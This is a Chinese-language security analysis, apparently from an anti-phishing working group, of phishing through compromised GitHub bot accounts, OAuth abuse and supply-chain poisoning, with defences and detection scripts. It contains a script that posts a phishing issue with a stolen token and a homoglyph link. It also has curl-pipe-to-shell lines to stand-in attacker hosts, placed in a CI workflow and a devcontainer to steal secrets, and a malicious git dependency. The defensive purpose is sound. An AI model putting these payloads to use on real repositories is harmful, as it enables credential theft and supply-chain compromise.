1 引言
近年来,随着开源生态系统的快速发展,软件开发高度依赖于平台化协作工具。GitHub作为全球最大的代码托管平台,已成为现代软件供应链中的关键基础设施。其内置的通知系统(Notifications)在提升开发者协作效率的同时,也因其高可信度和广泛使用,逐渐成为高级持续性威胁(APT)和网络钓鱼攻击的新载体。
2025年9月,网络安全研究人员披露了一起利用被入侵GitHub Bot账号向开发者投递钓鱼邮件的新型攻击活动。攻击者通过伪造合法的Issue或Pull Request通知,诱导目标点击嵌入链接,进而窃取个人访问令牌(Personal Access Token, PAT)及OAuth授权凭证。此类攻击不仅绕过了传统基于SPF/DKIM/DMARC的邮件验证机制,还借助GitHub官方SMTP通道(smtp.github.com)发送邮件,使内容外观与真实通知几乎无法区分。更严重的是,一旦攻击者获得仓库写权限,即可直接篡改CI/CD流程、注入恶意构建脚本,甚至污染下游依赖包,形成典型的软件供应链攻击链。

本文聚焦于该类“合法平台转发型”钓鱼攻击的技术机理、攻击路径演化及其对软件供应链安全构成的系统性风险。通过复现攻击核心环节、分析OAuth滥用模式、评估现有防御措施的有效边界,并结合实际代码示例,提出一套面向开发者与组织的纵深防御框架。全文结构如下:第二部分剖析攻击技术细节;第三部分讨论攻击对CI/CD与依赖管理的影响;第四部分评估当前主流防护手段的局限性;第五部分提出多层次缓解策略;第六部分给出可落地的代码级检测与响应方案;第七部分总结全文并指出未来研究方向。
2 攻击技术机理分析
2.1 初始入口:Bot账号入侵与权限滥用
攻击的第一步通常并非直接针对目标开发者,而是通过横向渗透获取具有自动化通知能力的GitHub Bot账号。这些账号常用于CI状态更新、依赖版本检查或自动Issue创建,通常配置了具有repo或workflow作用域的PAT。攻击者可通过以下方式获取控制权:
凭证填充(Credential Stuffing):利用从其他数据泄露事件中获取的邮箱/密码组合尝试登录;
弱OAuth令牌:部分集成应用申请了过宽权限(如write:repo_hook),且未设置有效期;
社会工程钓鱼:向维护者发送伪装成“安全警报”的邮件,诱导其在伪造页面输入凭据。
一旦控制Bot账号,攻击者即可调用GitHub REST API或GraphQL接口,以该身份创建Issue或评论。例如,使用如下Python脚本模拟恶意Issue创建:
import requests
token = "ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" # 被窃取的PAT
repo_owner = "victim-org"
repo_name = "critical-service"
url = f"https://api.github.com/repos/{repo_owner}/{repo_name}/issues"
headers = {
"Authorization": f"token {token}",
"Accept": "application/vnd.github.v3+json"
}
data = {
"title": "Security Alert: Immediate Action Required",
"body": "Your repository has been flagged for potential exposure. Please verify your access by clicking [here](https://grаnts.github.com/apply).",
"assignees": ["target-developer"]
}
response = requests.post(url, headers=headers, json=data)
print(response.status_code, response.json())
值得注意的是,上述body字段中的链接看似指向github.com,实则使用了Unicode同形异义字符(Homoglyph):拉丁字母“a”被替换为西里尔字母“а”(U+0430),导致域名解析至攻击者控制的grаnts.github.com(实际为xn--grnts-goa.github.com)。这种技巧可有效绕过基于字符串匹配的URL过滤规则。

2.2 钓鱼邮件的合法性伪装
GitHub在用户订阅仓库后,会通过官方邮件服务器smtp.github.com发送通知。这些邮件具备完整的DKIM签名(使用github.com域名的公钥)、正确的SPF记录(v=spf1 include:_spf.github.com ~all)以及DMARC策略(p=reject)。因此,即使内容包含恶意链接,传统邮件网关仍会将其标记为“合法”。
此外,邮件模板高度标准化,包含GitHub品牌Logo、标准配色、操作按钮(如“View Issue”)等元素,极大增强了欺骗性。攻击者只需在Issue正文中嵌入一个看似无害的“刷新权限”或“安全验证”链接,即可诱导用户点击。

2.3 OAuth授权劫持与持久化访问
当用户点击钓鱼链接后,会被重定向至伪造的OAuth授权页面,通常伪装成知名项目(如“Gitcoin Passport”)。该页面请求的权限范围极广,例如:
scopes: read:user, repo, workflow, write:packages, delete_repo
一旦用户授权,攻击者即获得一个长期有效的OAuth令牌,可用于:
克隆私有仓库;
修改.github/workflows/下的CI配置文件;
创建新的SSH密钥或部署密钥;
通过GitHub Actions执行任意命令。
更隐蔽的是,攻击者可注册一个恶意OAuth App,并将其名称设为与合法工具相似(如“Dependabot Security”),进一步降低用户警惕性。

3 对软件供应链的深层影响
3.1 CI/CD管道污染
获得仓库写权限后,攻击者可直接修改CI配置文件。例如,在.github/workflows/build.yml中插入恶意步骤:
- name: Install dependencies
run: npm install
- name: Hidden payload
run: |
curl -s https://malicious-c2.com/exfil.sh | bash
echo "BUILD SUCCESS" # 掩盖异常
该脚本可在构建过程中窃取环境变量(如AWS_ACCESS_KEY_ID、NPM_TOKEN),并将敏感信息外传。由于构建日志通常不被严格审计,此类行为难以被及时发现。
3.2 依赖投毒(Dependency Confusion)
若目标仓库发布公共包(如npm、PyPI),攻击者还可通过提交看似合理的PR(如“升级lodash到最新版”),实则引入恶意子依赖。例如,在package.json中添加:
"dependencies": {
"lodash": "^4.17.21",
"lodash-utils": "git+https://github.com/attacker/malicious-lodash.git"
}
其中lodash-utils为攻击者控制的仓库,其postinstall脚本可执行任意代码。由于现代包管理器默认信任Git依赖,此类攻击成功率极高。
3.3 开发环境横向移动
对于使用GitHub Codespaces或Gitpod的团队,攻击者可修改.devcontainer/devcontainer.json,注入启动时执行的恶意命令:
{
"onCreateCommand": "curl -sL https://c2.attacker.io/persist.sh | sh"
}
该脚本可在开发者打开远程环境时自动运行,实现持久化驻留。
4 现有防御机制的局限性
尽管GitHub已提供多项安全功能,但在面对此类高级钓鱼攻击时仍存在明显短板:
邮件网关失效:因邮件来源合法,基于发件人信誉或DKIM验证的过滤器无法拦截;
OAuth授权界面缺乏上下文:用户无法直观判断请求方是否为可信应用;
PAT权限粒度过粗:即使启用细粒度PAT(Fine-grained PAT),多数开发者仍选择“所有仓库”+“全部权限”;
缺乏异常行为基线:Bot账号突然创建大量Issue或请求高危权限,系统无自动告警机制。
此外,企业安全团队往往将重点放在终端防护或网络层检测,忽视了对“合法平台内生威胁”的建模。
5 多层次防御策略设计
5.1 账户与认证层加固
强制启用双因素认证(2FA):建议使用FIDO2安全密钥(Passkey)替代短信或TOTP,防止会话劫持;
实施SAML SSO集成:通过企业身份提供商统一管理GitHub访问,支持即时吊销;
限制PAT生命周期:组织应通过GitHub Enterprise设置PAT最大有效期(如30天),并禁止长期令牌。
5.2 权限最小化原则
使用细粒度PAT:仅授予特定仓库的必要权限(如contents:read + pull-requests:write);
审查OAuth应用:定期审计已授权应用,移除未使用或权限过高的条目;
分离Bot与人工账号:自动化任务应使用专用服务账号,禁止其访问私有仓库或敏感API。
5.3 邮件与通知安全增强
部署Unicode/Punycode检测:在邮件网关中加入IDN(国际化域名)解析模块,识别同形异义域名;
自定义通知策略:鼓励开发者关闭邮件通知,改用GitHub Web界面查看更新;
添加内部水印:企业可在通知邮件中插入唯一标识(如员工ID哈希),便于溯源。
6 代码级检测与响应机制
为实现主动防御,可开发自动化监控工具。以下为两个关键检测点的实现示例。
6.1 异常Issue创建检测
通过GitHub Audit Log API监控Bot账号行为:
import requests
from datetime import datetime, timedelta
def detect_suspicious_issues(org, token):
since = (datetime.utcnow() - timedelta(hours=1)).isoformat() + 'Z'
url = f"https://api.github.com/orgs/{org}/audit-log"
headers = {"Authorization": f"token {token}", "X-GitHub-Api-Version": "2022-11-28"}
params = {"phrase": "action:issue.create", "include": "all", "since": since}
resp = requests.get(url, headers=headers, params=params)
events = resp.json()
for event in events:
actor = event.get("actor")
repo = event.get("repo")
# 若Bot账号在一小时内创建超过5个Issue,触发告警
if actor.get("type") == "Bot" and count_issues_by_bot(actor["login"], repo) > 5:
alert_security_team(f"Suspicious bot activity: {actor['login']} in {repo}")
6.2 恶意OAuth应用识别
定期扫描用户授权的应用列表:
def check_malicious_oauth_apps(token):
url = "https://api.github.com/user/installations"
headers = {"Authorization": f"token {token}"}
resp = requests.get(url, headers=headers)
installations = resp.json().get("installations", [])
known_good = {"dependabot", "vercel", "netlify", "gitcoin"} # 可维护白名单
for app in installations:
app_name = app["app_slug"].lower()
permissions = set(app["permissions"].keys())
if app_name not in known_good and "admin" in permissions:
revoke_installation(app["id"], token)
log_incident(f"Revoked suspicious app: {app_name} with {permissions}")
上述脚本可集成至企业安全运营中心(SOC),实现分钟级响应。
7 结语
GitHub通知机制被滥用于钓鱼攻击,标志着供应链威胁已从传统二进制投毒转向“平台内生式”渗透。此类攻击的核心优势在于其合法性表象——利用平台自身通信通道、标准UI模板与可信域名体系,极大削弱了传统边界防御的有效性。
本文通过技术拆解、影响评估与防御设计,表明单一控制点(如2FA或邮件过滤)不足以应对该类威胁。必须构建覆盖账户、权限、行为、代码四层的纵深防御体系,并辅以自动化检测能力。尤其值得强调的是,开发者安全意识需从“不点可疑链接”升级为“不信任任何被动触发的认证请求”,即使其来自看似合法的平台通知。
未来工作可进一步探索基于行为图谱的Bot异常检测、OAuth授权上下文增强(如显示应用历史评分)、以及CI脚本静态分析与动态沙箱联动机制。唯有将安全左移至开发流程每个环节,方能在日益复杂的开源生态中守住供应链底线。
编辑:芦笛(公共互联网反网络钓鱼工作组)
637

被折叠的 条评论
为什么被折叠?



